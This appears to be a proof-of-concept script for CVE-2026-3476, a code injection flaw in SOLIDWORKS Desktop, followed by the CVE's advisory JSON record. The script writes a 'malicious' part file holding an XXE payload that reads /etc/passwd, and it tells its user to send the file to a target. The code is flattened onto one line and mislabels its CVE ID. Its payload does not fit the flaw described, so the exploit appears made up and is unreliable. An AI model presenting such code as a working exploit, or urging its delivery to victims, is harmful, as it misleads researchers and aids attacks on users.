CVE-2026-3476

#!/usr/bin/env python3 # CVE-2026-2026-3476 PoC - SOLIDWORKS Desktop Code Injection # This PoC demonstrates the file format manipulation technique # WARNING: For educational and security research purposes only import struct import os def create_malicious_sldprt(): """ Create a malicious SOLIDWORKS part file to trigger CVE-2026-3476 This PoC generates a minimal SLDPRT file with injected payload """ # SLDPRT file header (simplified) header = b'SOLIDWORKS Part File\r\n' # Malicious payload - shellcode or command injection # In real attack, this would contain actual malicious code payload = b'<malicious_xml_payload><![CDATA[<?xml version="1.0"?><!DOCTYPE data [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]><data>&xxe;</data>]]></malicious_xml_payload>' # Crafted section that triggers the injection exploit_section = b'\x00' * 100 + payload + b'\x00' * 100 # File structure markers section_markers = [ b'PARTBODY', b'FEATURE', b'CUSTOMPROP', ] # Build malicious file content content = header content += b'Version:2026\n' content += exploit_section for marker in section_markers: content += marker + b'\n' content += exploit_section # End of file marker content += b'ENDSECTION\n' return content def main(): """Generate and save the PoC file""" output_file = 'CVE-2026-3476_malicious.sldprt' print(f'[*] Generating PoC for CVE-2026-3476') print(f'[*] Target: SOLIDWORKS Desktop (Release 2025-2026)') print(f'[*] Vulnerability: Code Injection') malicious_content = create_malicious_sldprt() with open(output_file, 'wb') as f: f.write(malicious_content) print(f'[+] PoC file created: {output_file}') print(f'[+] File size: {len(malicious_content)} bytes') print(f'[!] Send this file to target user for exploitation') print(f'[!] User must open this file in vulnerable SOLIDWORKS version') if __name__ == '__main__': main()

{"cve": {"id": "CVE-2026-3476", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:19:48.130", "lastModified": "2026-03-16T16:16:16.600", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Code Injection vulnerability affecting SOLIDWORKS Desktop from Release 2025 through Release 2026 could allow an attacker to execute arbitrary code on the user's machine while opening a specially crafted file."}, {"lang": "es", "value": "Una vulnerabilidad de inyección de código que afecta a SOLIDWORKS Desktop desde la versión 2025 hasta la versión 2026 podría permitir a un atacante ejecutar código arbitrario en la máquina del usuario al abrir un archivo especialmente diseñado."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://www.3ds.com/trust-center/security/security-advisories/cve-2026-3476", "source": "[email protected]"}]}}